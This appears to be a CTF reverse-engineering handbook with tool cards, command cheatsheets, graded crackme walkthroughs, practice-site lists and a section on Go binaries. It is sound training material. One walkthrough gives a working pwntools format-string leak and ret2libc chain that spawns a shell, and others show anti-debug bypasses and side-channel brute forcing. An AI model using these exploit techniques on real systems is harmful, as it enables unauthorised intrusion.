# Install cross-compilers (Debian/Ubuntu):
sudo apt install gcc-arm-linux-gnueabi gcc-aarch64-linux-gnu
sudo apt install gcc-mipsel-linux-gnu qemu-user-static
```

```
# Debug ARM binary with GDB:
qemu-arm -g 1234 ./arm_binary &
gdb-multiarch arm_binary
(gdb) set architecture arm
(gdb) target remote :1234
(gdb) b main; c
```

>> 7.5 Firmware / Embedded RE

Firmware Analysis Toolkit (FAT)

Firmware Analysis

Hard

<https://github.com/attify/firmware-analysis-toolkit>

Full firmware emulation suite based on binwalk + QEMU + firmadyne.

```
$ git clone https://github.com/attify/firmware-analysis-toolkit
$ ./setup.sh
$ sudo python3 fat.py firmware.bin
$ binwalk -e firmware.bin          # Manual extract
$ ls _firmware.bin.extracted/squashfs-root/
$ strings .../usr/bin/app | grep pass
```

SECTION 8: NETWORK & PROTOCOL RE

Analyze network traffic and custom protocols

Wireshark

Network Protocol Analyzer

Easy

<https://wireshark.org> (Free & Open Source)

THE packet capture and analysis tool. MUST KNOW for CTFs with PCAP files.

```
$ wireshark capture.pcap          # Open in GUI
$ tshark -r capture.pcap          # CLI analysis
$ tshark -r f.pcap -T fields -e data # Extract data field
$ tshark -r f.pcap -Y 'http' -T json # Filter HTTP as JSON
$ tshark -r f.pcap -qz io,phs      # Protocol hierarchy stats
$ # Filters: http.request / tcp.flags.syn==1 / ip.addr==1.2.3.4
$ # Follow TCP stream: right-click -> Follow -> TCP Stream
$ # Export objects: File -> Export Objects -> HTTP
```

tcpdump

CLI Packet Capture

Easy

Built-in Linux

Capture and filter packets from command line.

```
$ tcpdump -i eth0 -w capture.pcap # Capture to file
$ tcpdump -r capture.pcap         # Read file
$ tcpdump -r capture.pcap 'port 80' # Filter HTTP
$ tcpdump -r capture.pcap -A       # ASCII output
$ tcpdump -r capture.pcap -X       # Hex+ASCII output
```

Scapy

Python Packet Manipulation

Medium

<https://scapy.net> (pip install scapy)

Python library for crafting, sending, receiving, and analyzing network packets.

```
$ pip install scapy
$ from scapy.all import *
$ pkts = rdpcap('capture.pcap') # Load PCAP
$ for p in pkts:
$     if p.haslayer(TCP) and p.haslayer(Raw):
$         print(p[Raw].load)
$ send(IP(dst='1.2.3.4')/TCP(dport=80)/b'GET / HTTP/1.0\r\n\r\n')
$ sniff(filter='port 1337', prn=lambda p: p.show())
```

netcat (nc)

Network Swiss Army Knife

Easy

Built-in Linux (also ncat from nmap)

Connect to CTF servers, transfer files, create listeners.

```
$ nc ctf.server.com 1337 # Connect to challenge
$ nc -l -p 1337          # Listen on port 1337
$ nc -l -p 1337 > received_file # Receive file
$ cat file | nc ctf.server.com 1337 # Send file
```

SECTION 9: COMPLETE CHEATSHEET

All essential commands in one place

>> Recon First Steps - Run These Every Time

COMMAND	PURPOSE
<code>file ./binary</code>	Identify binary type/architecture
<code>strings -n6 -a ./binary grep -i flag</code>	Hunt for flag strings
<code>checksec --file=./binary</code>	Check security mitigations
<code>readelf -h ./binary</code>	ELF header info
<code>readelf -S ./binary</code>	Section headers
<code>readelf -s ./binary grep main</code>	Find main symbol
<code>ldd ./binary</code>	Shared library dependencies
<code>nm -D ./binary</code>	Dynamic symbols
<code>objdump -d ./binary grep -A20 main</code>	Quick disasm of main
<code>binwalk ./binary</code>	Embedded file scan
<code>xxd ./binary head -20</code>	First 20 lines hex dump
<code>strace ./binary 2>&1 head -50</code>	First 50 syscalls
<code>ltrace -s200 ./binary 2>&1</code>	Library call trace
<code>exiftool ./binary</code>	File metadata
<code>sha256sum ./binary</code>	Checksum for googling

>> GDB / pwndbg Cheatsheet

COMMAND	PURPOSE
<code>gdb -q ./binary</code>	Start GDB quietly
<code>r arg1 arg2</code>	Run with arguments
<code>r < input.txt</code>	Run with stdin from file
<code>b main / b *0x401000</code>	Breakpoint at main/address
<code>b *main+offset</code>	Break at offset from main
<code>watch *(int*)0x601234</code>	Watchpoint on memory
<code>tb *0x401234</code>	Temporary breakpoint
<code>ni / si</code>	Next instr / Step into
<code>c</code>	Continue
<code>finish</code>	Return from current function
<code>x/20gx \$rsp</code>	Dump 20 qwords at stack
<code>x/50wx \$rdi</code>	Dump 50 dwords at RDI
<code>x/s 0x401234</code>	Print string at address
<code>p \$rax</code>	Print RAX value
<code>info registers</code>	Show all registers
<code>info functions</code>	List all functions
<code>disas main</code>	Disassemble main
<code>set \$rax = 0</code>	Set RAX to 0
<code>set *(int*)addr = val</code>	Set memory value
<code>vmmap</code>	Memory map (pwndbg)
<code>search-pattern 'flag'</code>	Search memory (pwndbg)
<code>telescope \$rsp 20</code>	Stack view (pwndbg)
<code>cyclic 200</code>	Generate de Bruijn pattern
<code>cyclic -l 0x61616166</code>	Find offset from pattern
<code>got</code>	Show GOT table (pwndbg)

SECTION 9 CONTINUED: CHEATSHEET

>> Radare2 (r2) Cheatsheet

COMMAND	PURPOSE
r2 -A ./binary	Open + auto-analyze all
r2 -d ./binary	Open in debug mode
aaa	Analyze (thorough)
afl	List all functions
pdf @ main	Print disasm of main
s main / s 0x401234	Seek to main/address
pd 20	Print 20 instructions
px 64 @ rsp	Hex dump 64 bytes at rsp
iz	List strings in binary
izz	List ALL strings
ie	Entry points
ii	Imports
iS	Sections
db 0x401234	Breakpoint at address
dc	Continue (debug)
ds / dso	Step / Step over
dr	Show registers
wx 9090 @ 0x401234	Patch with NOPs
wa 'nop;nop' @ addr	Write assembly
/ flag{	Search string in binary
xref @ 0x401234	Cross references
agf @ main	Control flow graph
VV @ main	Visual Graph mode
q!	Force quit

>> Ghidra Keyboard Shortcuts

SHORTCUT	ACTION
G	Go to address
L	Edit label/name
Ctrl+L	Search labels
Ctrl+E	Edit data type
P	Define as function
F	Search text in listing
Ctrl+Shift+F	Search memory
X	Show cross-references (xrefs)
Ctrl+Z/Y	Undo / Redo
;	Add comment
Alt+Left/Right	Navigate back/forward
Ctrl+F	Find

>> pwntools Quick Reference

```
from pwn import *
context.arch = 'amd64' # or 'i386', 'arm', 'aarch64'
context.log_level = 'debug'

elf = ELF('./binary')      # Load ELF
libc = ELF('./libc.so.6')  # Load libc
rop = ROP(elf)              # ROP gadget finder

p = process('./binary')     # Local process
p = remote('host', 1337)    # Remote connection
p = gdb.debug('./binary', 'b main') # Debug with GDB

p.sendline(b'payload')      # Send + newline
p.send(b'payload')          # Send without newline
p.sendafter(b'prompt:', b'payload') # Wait then send
p.recvline()                # Read one line
p.recvuntil(b'prompt:')     # Read until string
p.recv(100)                 # Read up to 100 bytes
p.interactive()             # Manual interaction

p32(0xdeadbeef)             # Pack 32-bit LE
p64(0xdeadbeef)             # Pack 64-bit LE
u32(b'\xef\xbe\xad\xde')    # Unpack 32-bit LE
flat([0x41]*8, 0xdeadbeef]) # Build byte sequence
fit({0: b'AAA', 8: p64(addr)}) # Offset-based payload
```


SECTION 10: WALKTHROUGHS -- EASY LEVEL

Step-by-step beginner challenges

>> Easy #1: Simple String Check (strings + ltrace)

EASY

Category: Crackme | Skills: strings, ltrace, basic static analysis

\$ Recon -> strings -> ltrace -> flag

```
# Step 1: Identify the binary
$ file crackme
crackme: ELF 64-bit LSB executable, x86-64, dynamically linked

# Step 2: Check security features
$ checksec --file=crackme
Arch: amd64 | RELRO: Partial | Canary: No | NX: Yes | PIE: No

# Step 3: Search for strings -- flag might be hardcoded!
$ strings crackme | grep -i 'flag\|ctf\|correct\|pass'
Enter password:
Correct! Here is your flag: flag{s1mpl3_string_ch3ck}
Wrong password!

# Flag found directly: flag{s1mpl3_string_ch3ck}

# Alternative: ltrace reveals the strcmp comparison
$ ltrace ./crackme <<< 'test'
strcmp('test\n', 'supersecretpass\n') = -1 <-- password revealed!

# Run with correct password:
$ ./crackme <<< 'supersecretpass'
Correct! Here is your flag: flag{s1mpl3_string_ch3ck}
```

>> Easy #2: XOR Encoded Flag

EASY

Category: Crackme | Skills: Ghidra decompilation, Python scripting

\$ XOR decode

```
# Step 1: strings finds nothing obvious
$ strings xor_challenge | grep flag -> nothing

# Step 2: Decompile in Ghidra -> main() reveals:
char encoded[] = {0x26, 0x0a, 0x12, 0x3f, 0x7b, 0x4d, ...};
char key = 0x42;
for (int i=0; i<24; i++)
    if (input[i] != (encoded[i] ^ key)) return 'Nope!';

# Step 3: Solve in Python
encoded = [0x26,0x0a,0x12,0x3f,0x7b,0x4d,0x27,0x27,
           0x20,0x3a,0x1c,0x3a,0x27,0x20,0x34,0x3a,
           0x17,0x2c,0x3c,0x1c,0x34,0x3a,0x64,0x42]

key = 0x42
flag = ''.join(chr(b ^ key) for b in encoded)
print(flag)  # -> flag{xor_is_t00_ez_42}

# Step 4: Verify
$ echo -n 'flag{xor_is_t00_ez_42}' | ./xor_challenge
Correct!
```

>> Easy #3: UPX Packed Binary

EASY

\$ UPX unpack

```
$ file packed_bin
packed_bin: ELF 64-bit ... UPX compressed

# Unpack with UPX:
$ upx -d packed_bin -o unpacked
Unpacked 1 file.

# Now analyze normally:
$ strings unpacked | grep flag
flag{unp4ck_m3_f1rst}
```

>> Easy #4: Base64 / Encoded String in Binary

EASY

\$ Base64 decode

```
$ strings mystery | grep -E '[A-Za-z0-9+/]{20,}={0,2}'
ZmxhZ3tiNHMzNjRfMXNfMzRzeX0=

# Decode:
$ echo 'ZmxhZ3tiNHMzNjRfMXNfMzRzeX0=' | base64 -d
flag{b4s364_1s_34sy}
```

SECTION 11: WALKTHROUGHS -- MEDIUM LEVEL

Intermediate techniques

>> Medium #1: Anti-Debug Bypass

MEDIUM

Category: Crackme with anti-debug | Skills: GDB, patching, ptrace bypass

\$ Anti-Debug Bypass

```
# Step 1: Run normally
$ ./antidebug
Debugger detected! Exiting.

# Step 2: Find anti-debug in Ghidra - decompiled code:
if (ptrace(PTRACE_TRACEME, 0, 0, 0) == -1) {
    puts('Debugger detected! Exiting.');
```

```
    exit(1);
}

# Step 3: Method A -- LD_PRELOAD fake ptrace
$ cat fake_ptrace.c
#include <sys/ptrace.h>
long ptrace(int req, ...) { return 0; }

$ gcc -shared -fPIC fake_ptrace.c -o fake_ptrace.so
$ LD_PRELOAD=./fake_ptrace.so ./antidebug
Enter the secret key:

# Step 4: Method B -- Patch the binary
# In Ghidra: find 'jne' after ptrace check -> patch to 'jmp' (NOP the check)
# Find byte pattern: 85 C0 74 xx -> change 74 to EB (jz -> jmp)

# Step 5: Debug freely with LD_PRELOAD
$ LD_PRELOAD=./fake_ptrace.so gdb ./antidebug
(gdb) b main; r
# Trace through and find strcmp comparison
(gdb) catch syscall write # Break when flag is about to print
```

>> Medium #2: Angr Symbolic Execution

MEDIUM

Category: Complex input validation | Skills: angr, symbolic execution

\$ Angr Solution

```
# Binary has 20+ complex conditions -- too many to trace manually
# Use angr to automatically find the correct input

import angr
proj = angr.Project('./validate', auto_load_libs=False)

# Find addresses first (in Ghidra/r2):
FIND_ADDR = 0x401abc # Address that prints 'Correct'
AVOID_ADDR = 0x401def # Address that prints 'Wrong'

state = proj.factory.full_init_state()
simgr = proj.factory.simgr(state)
simgr.explore(find=FIND_ADDR, avoid=AVOID_ADDR)

if simgr.found:
    sol = simgr.found[0]
    print('Input:', sol.posix.dumps(0))

# Output: Input: b'flag{4ngr_1s_m4g1c_4ut0m4t10n}'
```

>> Medium #3: Custom VM / Bytecode

MEDIUM

Category: Custom VM | Skills: reverse VM interpreter, write disassembler

\$ VM Bytecode Reversal

```
# Binary has a VM that executes custom bytecode
# Ghidra shows an interpreter loop with opcode switch-case

# Step 1: Reverse the opcode table from Ghidra:
# 0x01 = PUSH <immediate>
# 0x02 = POP
# 0x03 = ADD
# 0x04 = XOR <immediate>
# 0x05 = CMP <immediate>
# 0x07 = PRINT (output stack top as char)

# Step 2: Write VM disassembler in Python
bytecode = bytes.fromhex('01 41 04 03 07 01 42 07 ...')
i = 0
while i < len(bytecode):
    op = bytecode[i]
    if op == 0x01: print(f'PUSH {bytecode[i+1]:#x}'); i+=2
    elif op == 0x04: print(f'XOR {bytecode[i+1]:#x}'); i+=2
    elif op == 0x07: print('PRINT'); i+=1
    else: i+=1

# Step 3: Emulate VM logic -> recover flag
```

SECTION 12: WALKTHROUGHS -- HARD LEVEL

Advanced techniques

>> Hard #1: ASLR + PIE Bypass with Format String Leak

HARD

Category: Binary Exploitation + RE | Skills: PIE leak, format string, ret2libc

\$ PIE + libc Exploit

```
# PIE enabled -- all addresses randomized at runtime
# Found: printf(user_input) = format string vulnerability

from pwn import *
p = process('./pie_challenge')

# Leak PIE base via format string:
p.sendline(b'%21$p') # Leak return address from stack
leak = int(p.recvline().strip(), 16)
pie_base = leak - 0x11a3 # Offset from GDB (main ret addr)
log.info(f'PIE base: {hex(pie_base)}')

# Leak libc address via another offset:
p.sendline(b'%15$p')
puts_leak = int(p.recvline().strip(), 16)
libc = ELF('./libc.so.6')
libc.address = puts_leak - libc.symbols['puts']
log.info(f'libc base: {hex(libc.address)}')

# Build ROP chain for system('/bin/sh')
elf = ELF('./pie_challenge')
elf.address = pie_base
rop = ROP([elf, libc])
rop.call(libc.symbols['system'], [next(libc.search(b'/bin/sh'))])

# Trigger overflow (offset found with cyclic)
payload = b'A' * 72 + rop.chain()
p.sendline(payload)
p.interactive() # -> shell!
```

>> Hard #2: Frida Runtime Hooking

HARD

Category: Obfuscated binary | Skills: Frida dynamic instrumentation

\$ Frida Hook Solution

```
# Binary encrypts flag at runtime -- static analysis useless
# Hook strcmp/memcmp to get both arguments

// frida_hook.js:
Interceptor.attach(Module.getExportByName('libc.so.6', 'strcmp'), {
  onEnter(args) {
    var s1 = Memory.readUtf8String(args[0]);
    var s2 = Memory.readUtf8String(args[1]);
    console.log('[strcmp] arg1:', s1, '| arg2:', s2);
  }
});

Interceptor.attach(Module.getExportByName('libc.so.6', 'memcmp'), {
  onEnter(args) {
    var n = args[2].toInt32();
    console.log('[memcmp]', Memory.readByteArray(args[0], n));
  }
});

$ frida -l frida_hook.js -f ./obfuscated_binary -- 'test_input'
[strcmp] arg1: test_input | arg2: flag{fr1d4_g0t_u_g00d}

# Flag: flag{fr1d4_g0t_u_g00d}
```

>> Hard #3: Z3 Constraint Solving

HARD

Category: Complex crackme | Skills: z3, constraint extraction from assembly

\$ Z3 Constraint Solver

```
# Binary checks 16-byte input against 20+ math constraints
# Extract constraints from Ghidra, solve with Z3

from z3 import *
flag = [BitVec(f'f{i}', 8) for i in range(16)]
s = Solver()

# Constraints extracted from decompiled binary:
s.add(flag[0] + flag[1] == 0xc9)
s.add(flag[0] ^ flag[2] == 0x15)
s.add(flag[3] * flag[4] == 0x2652)
s.add(flag[5] - flag[6] == 0x07)
s.add(flag[10] == ord('{'))
s.add(flag[15] == ord('}'))
# ...add all constraints...

# All must be printable ASCII:
for b in flag:
    s.add(b >= 0x20, b <= 0x7e)

if s.check() == sat:
    m = s.model()
    result = bytes([m[b].as_long() for b in flag])
    print(f'Flag: {result.decode()}') # flag{z3_1s_4m4z1ng}
```

SECTION 13: WALKTHROUGHS -- EXPERT LEVEL

Kernel, VM obfuscation, side-channels

>> Expert #1: Kernel Module RE

EXPERT

Category: Kernel RE | Skills: LKM analysis, /dev IOCTL interface

\$ Kernel Module Challenge

```
# Challenge: Kernel module (.ko) implements custom /dev/flag device
# Must reverse the IOCTL handler to get the flag

# Step 1: Load module info
$ modinfo flag_module.ko
description: Flag Challenge Module

# Step 2: Load into Ghidra as ELF, find init_module and device_ioctl

# Step 3: Decompiled ioctl handler shows:
if (cmd == 0xDEAD0001) {
    compute_flag(user_input, output);
    copy_to_user(arg, output, 32);
}

# Step 4: Write userspace exploit
#include <fcntl.h>
#include <sys/ioctl.h>
int main() {
    int fd = open('/dev/flag', O_RDWR);
    char buf[32] = {0};
    ioctl(fd, 0xDEAD0001, buf);
    printf('Flag: %s\n', buf);
}

$ sudo insmod flag_module.ko
$ gcc -o solve solve.c && sudo ./solve
Flag: flag{k3rn3l_m0dul3_r3v3rs1ng}
```

>> Expert #2: Side-Channel via Instruction Count

EXPERT

Category: Side Channel | Skills: Intel PIN, timing-based byte recovery

\$ Side-Channel Attack

```

# Binary compares input byte-by-byte and exits early on mismatch
# Count instructions executed -- more = more correct prefix bytes

# Solve script using PIN instruction counter:
import subprocess

def count_instructions(guess):
    subprocess.run(['pin', '-t', 'inscount0.so', '--', './crackme', guess])
    return int(open('inscount.out').read().split()[1])

CHARSET = 'abcdefghijklmnopqrstuvwxyz0123456789_{}!'
flag = 'flag{'

while not flag.endswith('}'):
    best_char, best_count = '', 0
    for c in CHARSET:
        guess = flag + c + 'A' * (30 - len(flag) - 1)
        count = count_instructions(guess)
        if count > best_count:
            best_count = count; best_char = c
    flag += best_char
    print(f'Progress: {flag}')

print(f'Flag: {flag}') # flag{s1d3_ch4nn3l_m4st3r}

```

>> Expert #3: Custom VM Obfuscation (VMProtect-style)

EXPERT

Category: VM Obfuscation | Skills: handler analysis, Unicorn emulation

\$ VM Obfuscation RE

```

# Binary protected with custom VM -- logic hidden in VM bytecode

# Step 1: Find VM dispatch loop in Ghidra
# Look for: large switch-case with 50+ cases -> VM dispatcher

# Step 2: Log VM execution with Unicorn
from unicorn import *; from unicorn.x86_const import *

mu = Uc(UC_ARCH_X86, UC_MODE_64)
# Map and load binary sections...

vm_trace = []
def hook_code(uc, addr, size, user_data):
    vm_trace.append(addr)

mu.hook_add(UC_HOOK_CODE, hook_code)
mu.emu_start(VM_ENTRY, VM_ENTRY + 0x10000, timeout=30000)

# Step 3: Map native addresses to VM opcodes
# Build VM disassembler from the trace

# Step 4: Recover algorithm, apply Z3/angr to solve
# Result: flag{vm_pr0t3ct_d3f34t3d}

```


SECTION 14: CTF PLATFORMS & LEARNING RESOURCES

Where to practice

pwn.college

<https://pwn.college>

All levels, Linux RE, pwn. FREE. Best structured learning.

picoCTF

<https://picoctf.org>

Beginner-friendly. Huge library. Carnegie Mellon. FREE.

crackmes.one

<https://crackmes.one>

Pure crackme challenges. All levels. FREE.

reversing.kr

<http://reversing.kr>

RE-focused challenges. Good variety. FREE.

CTFtime.org

<https://ctftime.org>

Calendar of all CTF events + writeup archive.

HackTheBox

<https://hackthebox.com>

Pro-level challenges + machines. Some free tiers.

TryHackMe

<https://tryhackme.com>

Guided learning paths. Beginner-friendly rooms.

247CTF

<https://247ctf.com>

Always-on CTF challenges. Mix of categories.

ASIS CTF

<https://asisctf.com>

High-quality RE challenges. Writeups available.

Google CTF

<https://capturetheflag.withgoogle.com>

Elite quality. Archive available.

Pwnable.kr

<http://pwnable.kr>

Korean CTF site. Mixed pwn+RE. Classic.

Exploit.education

<https://exploit.education>

Vulnerable VMs for exploitation practice.

Nightmare (course)

<https://guyinatuxedo.github.io>

Free CTF RE+pwn course with walkthroughs.

ir0nstone notes

<https://ir0nstone.gitbook.io>

Binary exploitation notes. Excellent quality.

LiveOverflow YouTube

<https://youtube.com/c/LiveOverflow>

CTF video walkthroughs. Great for learning.

>> Essential Books & Writeup Sites

[Practical Malware Analysis](#)
[The Art of Assembly Language](#)
[Hacking: Art of Exploitation](#)
[The IDA Pro Book](#)
[CTF Field Guide](#)
[ctftime.org/writeups](#)
[github.com search CTF](#)

-- Sikorski & Honig | THE malware RE book. Covers all tools.
-- Randall Hyde | Deep x86 assembly. Free PDF available.
-- Jon Erickson | Classic exploitation + RE book.
-- Chris Eagle | Comprehensive IDA usage guide.
-- Trail of Bits | <https://trailofbits.github.io/ctf/>
-- All CTF teams | Thousands of CTF writeups by category.
-- Community | Search 'CTF writeup YEAR' on GitHub.

SECTION 15: RE METHODOLOGY & CTF MINDSET

How to approach ANY RE challenge

>> The Universal RE Workflow

STEP 1

TRIAGE

TRIAGE

Tools: file + strings + checksec + readelf + objdump

Goal: Identify: arch, type, protections, obvious strings, packer

STEP 2

UNDERSTAND

UNDERSTA

Tools: Ghidra/IDA/r2 -> find main() -> read decompilation

Goal: Map program flow: input -> processing -> comparison/output

STEP 3

ISOLATE

ISOLATE

Tools: Find comparison/validation logic, narrow scope

Goal: Focus on: strcmp, memcmp, custom loops, math operations

STEP 4

SOLVE

SOLVE

Tools: ltrace, strace, GDB, angr, z3, Frida hooks

Goal: Use the right tool for the complexity level

STEP 5

VERIFY

VERIFY

Tools: Test your solution. Submit flag. Document approach.

Goal: Write it up -- you will need it for next time!

>> When to Use Which Tool

SITUATION	-> TOOL
-----	-----
Just got binary, first look	-> file + strings + checksec
Simple password check (visible in strace)	-> ltrace -s200 ./binary
Need full disassembly + C decompilation	-> Ghidra (free) or IDA
Quick CLI analysis	-> r2 -A binary; afl; pdf@main
Live debugging, breakpoints, memory	-> GDB + pwndbg
Windows PE binary	-> x64dbg + Ghidra
.NET / C# binary	-> dnSpy / ILSpy
Java / Android APK	-> jadx-gui
Python .pyc or PyInstaller .exe	-> pyinstxtractor + uncompyl6
UPX packed binary	-> upx -d binary
Unknown packer	-> DIE (Detect-It-Easy)
Complex math/constraint check	-> z3-solver
Complex program path finding	-> angr (symbolic execution)
Runtime hooking, dynamic analysis	-> Frida
Network traffic analysis (PCAP file)	-> Wireshark / tshark
Firmware / embedded binary	-> binwalk -Me + QEMU
ARM/MIPS binary	-> QEMU + gdb-multiarch
Anti-debug protection	-> LD_PRELOAD fake ptrace
Byte-by-byte comparison (timing attack)	-> PIN instruction counter
Need to patch binary	-> Ghidra patch bytes / r2 wx
Send exploit to process	-> pwntools
Need to emulate code snippet	-> Unicorn Engine
Find ROP gadgets	-> ROPgadget / ropper

>> CTF Mindset Tips

- > Always run 'file' and 'strings' FIRST -- flags are often immediately visible
- > ltrace catches strcmp -> instant password reveal on easy challenges
- > When stuck on binary: check ALL xrefs to suspicious functions in Ghidra
- > DWARF debug symbols? Rename everything in Ghidra before analysis
- > Stripped binary? FUN_ function prologues hint at purpose -- rename them
- > Dynamic analysis often faster than static for heavily obfuscated binaries
- > angr is overkill for simple checks but perfect for 10+ constraint problems
- > Check entropy: >7.0 bits/byte = packed or encrypted section
- > Google the binary hash -- maybe it is a known challenge with public writeups!
- > Read past CTF writeups for the same event -- similar techniques are reused
- > Time management: skip hard RE early, come back with fresh eyes
- > Collaboration: RE is often faster with two people -- one static, one dynamic
- > Always save GDB commands in a script file: gdb -x script.gdb ./binary

ALL TOOLS MASTER REFERENCE TABLE

Every tool at a glance

TOOL	CATEGORY	OS	LEVEL	INSTALL / SOURCE
Ghidra	Disasm/Decompile	All	All	ghidra-sre.org (Free)
IDA Free	Disasm/Decompile	All	All	hex-rays.com (Free)
Binary Ninja	Disasm/Decompile	All	All	binary.ninja (Free cloud)
Radare2	Disasm/Debug	All	All	apt install radare2
Cutter	Disasm GUI	All	All	cutter.re (Free)
objdump	Disassembler	Linux	Easy	Built-in (binutils)
file	Identification	All	Easy	Built-in
strings	String Extract	All	Easy	Built-in (binutils)
readelf	ELF Analysis	Linux	Easy	Built-in (binutils)
checksec	Mitigation Check	Linux	Easy	pip install pwntools
nm	Symbol Lister	Linux	Easy	Built-in (binutils)
ldd	Lib Dependencies	Linux	Easy	Built-in (glibc)
binwalk	Firmware Extract	Linux	Med	apt install binwalk
exiftool	Metadata	All	Easy	apt install exiftool
pefile	PE Parser	All	Med	pip install pefile
GDB + pwndbg	Debugger	Linux	All	apt install gdb + pwndbg
x64dbg	Debugger	Win	All	x64dbg.com (Free)
WinDbg	Debugger	Win	Hard	Microsoft Store
lldb	Debugger	macOS	Med	xcode-select --install
strace	Syscall Trace	Linux	Easy	apt install strace
ltrace	Lib Call Trace	Linux	Easy	apt install ltrace
Frida	Dynamic Instrum.	All	Hard	pip install frida-tools
DynamoRIO	DBI Framework	All	Expert	dynamorio.org (Free)
Intel PIN	DBI Framework	All	Expert	intel.com (Free)
QEMU	Emulator	Linux	Med	apt install qemu-user-static
Unicorn Engine	CPU Emulator	All	Hard	pip install unicorn
xxd	Hex Dump	All	Easy	Built-in (vim-common)
HxD	Hex Editor	Win	Easy	mh-nexus.de (Free)
010 Editor	Hex Editor	All	Med	sweetscape.com (Trial)
hexedit	Hex Editor CLI	Linux	Easy	apt install hexedit
pwntools	CTF Framework	All	All	pip install pwntools
angr	Symbolic Exec	All	Hard	pip install angr
z3-solver	Constraint Solve	All	Hard	pip install z3-solver
keystone	Assembler API	All	Med	pip install keystone-engine
capstone	Disasm API	All	Med	pip install capstone
UPX	Unpacker	All	Easy	apt install upx
DIE	Packer Detect	All	Easy	github/horsicq/DIE
de4dot	.NET Deobfusc.	All	Med	github/de4dot
dnSpy	.NET Debug	Win	Easy	github/dnSpyEx
ILSpy	.NET Decompile	All	Easy	github/icsharpcode
jadx	Java/APK Decompile	All	Easy	github/skylot/jadx
apktool	APK Disasm	All	Easy	ibotpeaches.github.io
jd-gui	Java Decompile	All	Easy	java-decompiler.github.io
uncompyle6	Python Decompile	All	Easy	pip install uncompyle6
pyinstxtractor	PyInst Extract	All	Easy	github/extremecoders-re
ROPgadget	ROP Chain Build	All	Hard	pip install ROPgadget
ropper	ROP Chain Build	All	Hard	pip install ropper

Wireshark	Network Analyze	All	Easy	wireshark.org (Free)
Scapy	Packet Manip.	All	Med	pip install scapy
FAT	Firmware Emul.	Linux	Hard	github/attify/FAT
r2pipe	r2 Python API	All	Med	pip install r2pipe
Procmon	Process Monitor	Win	Med	sysinternals.com (Free)
ScyllaHide	Anti-Antidebug	Win	Med	x64dbg plugin
GEF / peda	GDB Plugin	Linux	Med	github/hugsy/gef
pwndbg	GDB Plugin	Linux	All	github/pwndbg/pwndbg
xAnalyzer	x64dbg Plugin	Win	Med	github/ThunderCls/xAnalyzer

HAPPY HACKING!

The best REer is the one who never stops learning.

- > Practice daily on [crackmes.one](#) and [picoCTF](#)
- > Read writeups even for challenges you did not solve
- > Build your own toolbox scripts (auto-run checksec, strings, etc.)
- > Learn assembly -- it is the foundation of everything in RE
- > Join CTF teams -- collaboration beats solo effort
- > Document everything -- your future self will thank you
- > The flag is always there. You just have not found it yet.

[ctftime.org](#) | [crackmes.one](#) | [pwn.college](#) | [picoctf.org](#) | [reversing.kr](#)

[HackTheBox](#) | [TryHackMe](#) | [247CTF](#) | [ASIS CTF](#) | [GoogleCTF](#) | [Nightmare](#)

CTF REVERSE ENGINEERING BIBLE -- All Rights Free, All Knowledge Shared

CTF REVERSE ENGINEERING

BIBLE v2 -- FULL EDITION

APPENDIX: ALL MISSING FILE TYPES ADDED

With Real Examples, Tool Cards & Full CTF Walkthroughs

SEC 16	Go Binaries GoReSym, IDA Go plugin, stripped symbol recovery
SEC 17	Rust Binaries rust-demangler, Ghidra, cargo features
SEC 18	WebAssembly (WASM) wabt, wasm-decompile, Ghidra WASM plugin
SEC 19	Lua Bytecode unluac, luadec, ChunkSpy
SEC 20	Unity IL2CPP Il2CppDumper, Ghidra, dnSpy for managed code
SEC 21	Mach-O (macOS/iOS) lldb, Hopper, jtool2, otool, class-dump
SEC 22	UEFI/BIOS Firmware UEFITool, efiXplorer, idat, Ghidra
SEC 23	Shellcode Analysis scdbg, Speakeasy, libemu, x64dbg
SEC 24	Swift Binaries class-dump-swift, Ghidra, Frida, lldb
SEC 25	16-bit DOS RE DOSBox, DosDebug, IDA, NASM
SEC 26	Android Smali (Deep) smali/baksmali, Frida, patching APKs
SEC 27	V8/Node.js Bytecode v8-tools, bytenode, node-re

SECTION 16: GO BINARY REVERSE ENGINEERING

Stripped symbols, goroutines, custom calling convention

>> 16.1 Why Go Binaries Are Different

Go binaries are statically linked and include the Go runtime -- they are large even for small programs. The MAIN challenges in CTF Go RE are:

- * Symbols are STRIPPED in release builds (function names lost)
- * Go uses its OWN calling convention (not System V ABI in older versions)
- * String handling: Go strings are (ptr, len) pairs -- NOT null-terminated
- * Goroutines add scheduling complexity
- * Interface dispatch is dynamic -- hard to follow statically
- * Error values encoded as structs (not errno)

>> 16.2 Identification

```
# Identify Go binary:
$ file go_challenge
go_challenge: ELF 64-bit LSB executable, x86-64, statically linked

$ strings go_challenge | grep -i 'go build\|go1\|runtime'
go1.21.0
github.com/user/challenge/main.go

$ strings go_challenge | grep '\.go'
# Shows all .go source file paths embedded in binary!

# Check for Go magic in ELF notes section:
$ readelf -n go_challenge | grep Go
Go Build ID: 'abc123...'

# DIE detection:
$ diec go_challenge
ELF64: compiler: Go(1.21)[GOAMD64=v1]
```

GoReSym

Go Symbol Recovery

Medium

<https://github.com/mandiant/GoReSym> (Free - Mandiant)

Recovers function names, types, and source paths from stripped Go binaries. Essential.

```
$ pip install goreSym # or download binary
$ GoReSym go_binary > symbols.json
$ # In IDA: File -> Script -> load GoReSym IDA plugin
$ # In Ghidra: use GoReSym Ghidra script
$ # Output: JSON with all function names + addresses
```

go-string / blaze

Go String Recovery

Medium

<https://github.com/stevemk14ebr/go-string>

Recover Go string constants from binary (they are NOT null-terminated in Go).

```
$ python3 go-string.py go_binary # List all strings
$ # In Ghidra: right-click struct -> use Go string script
$ # Strings are stored as: {ptr uint64, len int64}
$ # Find with: x/2gx ptr_address in GDB
```

Ghidra + Go loader

Go Decompiler

Hard

https://github.com/mooncat-greenpy/Ghidra_Go_Loader (Free plugin)

Ghidra plugin that correctly parses Go binary structure and recovers symbols.

```
$ # Install: copy .zip to Ghidra/Extensions, restart
$ # Open go binary -> Go Loader auto-applies
$ # Go calling convention pre-configured
$ # Decompiler shows Go-style struct access
```

>> 16.3 Go RE Techniques

```
# GDB for Go -- use 'info goroutines' plugin:
$ gdb -q go_binary
(gdb) info goroutines      # List all goroutines
(gdb) goroutine 1 bt      # Stack trace of goroutine 1
(gdb) p main.flag_var     # Print Go variable

# Find main.main address when stripped:
$ nm go_binary | grep -i 'main\|start'  # Often has runtime.main
$ readelf -s go_binary | grep -i main

# Go string comparison (NOT strcmp!):
# Go uses runtime.eqstring or direct len+memcmp
# Set breakpoint on runtime.eqstring:
(gdb) b runtime.eqstring
(gdb) r
(gdb) x/s $rdi             # First string ptr
(gdb) p $rsi              # First string length
